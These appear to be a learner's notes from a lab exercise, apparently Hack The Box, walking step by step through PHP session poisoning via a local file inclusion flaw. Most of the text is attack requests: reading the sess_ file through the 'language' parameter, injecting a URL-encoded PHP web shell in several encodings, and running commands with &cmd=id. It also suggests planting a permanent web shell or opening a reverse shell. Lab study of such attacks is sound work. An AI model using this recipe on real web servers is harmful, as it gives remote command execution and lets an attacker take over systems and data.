the phpsessid cookies holds specific user-related data on the back-end. this is used by webapps to keep track of user details through their cookies. the details are stored in session files on the back-end "/var/lib/php/sessions/" on linux and "c:\windows\temp\ on windows. the name of the file that contains user's data matches the name of the phpsessid cookie with the sess_ prefix (e.g., /var/lib/php/sessions/sess_{arbitraryCookieValue}).
#STEP 1: examine whether the PHPSESSID session file contains any data that can be controlled & poisoned
root@oco:~$ BROWSER > {targetSite:port} > F12 > Storage > Cookies > {http://{targetSite}
Name: PHPSESSID
Value: {rlbmhupitn7q5lint34f6c2i20}
* this PHPSESSID should be stored at /var/lib/php/sessions/sess_{sessionCookieID} on Linux
#STEP 2: test this on the LFI vulnerable site
root@oco:~$ BROWSER > http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_{rlbmhupitn7q5lint34f6c2i20}
output: selected_language|s:6:"en.php";preference|s:7:"English";
* this will show the session file {/var/lib/php/sessions/sess_...} containing two values {depending on target, the file may contain multiple values}
- the "selected_language|s:6 page" refers to the language page
- the preference|s:7 refers to the selected language
- The preference value is not under the attacker's control, as the attacker
didn't specify it anywhere and must be automatically specified. However, the
page value is under the attacker's control, as the attacker can control it
through the ?language= parameter.
#STEP 3: poison the session file to test whether its contents can be overwritten
root@oco:~$ BROWSER > http://<SERVER_IP>:<PORT>/index.php?language={session_poisoning}
#STEP 4: display the contents of the session file - the expected output should be the "session_poisoning" string
root@oco:~$ BROWSER > http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_{rlbmhupitn7q5lint34f6c2i20}
* the session file should reflect "session_poisoning" instead of es.php
- if so, this confirms the attacker's ability to control the value of the page in the session file
#STEP 5: write a php web shell code to the session file
root@oco:~$ burpsuite
BURP > Decoder
input: <?php system($_GET["cmd"]);?>
encode as: URL
output: %3c%3f%70%68%70%20%73%79%73%74%65%6d%28%24%5f%47%45%54%5b%22%63%6d%64%22%5d%29%3b%3f%3e
root@oco:~$ BROWSER > http://<SERVER_IP>:<PORT>/index.php?language=%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%24%5f%47%45%54%5b%22%63%6d%64%22%5d%29%3b%3f%3e
* ALT (URL encoded)
- cyberchef (url encode all): %3C%3Fphp%20system%28%24%5FGET%5B%22cmd%22%5D%29%3B%3F%3E
- htb example: %3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
also how about use burp...
or (example from HTB)
#STEP 6: display the contents of the session file
root@oco:~$ http://94.237.54.42:37236/index.php?language=/var/lib/php/sessions/sess_rlbmhupitn7q5lint34f6c2i20&cmd=id
* To execute another command, the session file has to be poisoned with the web shell again, as it gets overwritten with /var/lib/php/sessions/sess_{nhhv8i0o6ua4g88bkdl9u1fdsd} after the last inclusion.
Ideally, the approach can be:
- COA 1: use the poisoned web shell to write a permanent web shell to the web directory
or send a reverse shell for easier interaction
- COA 2: the session file has to be poisoned with hthe web shell again IOT execute another cmd
- this is due to the session file being overwritten with /var/lib/php/sessions/sess_....
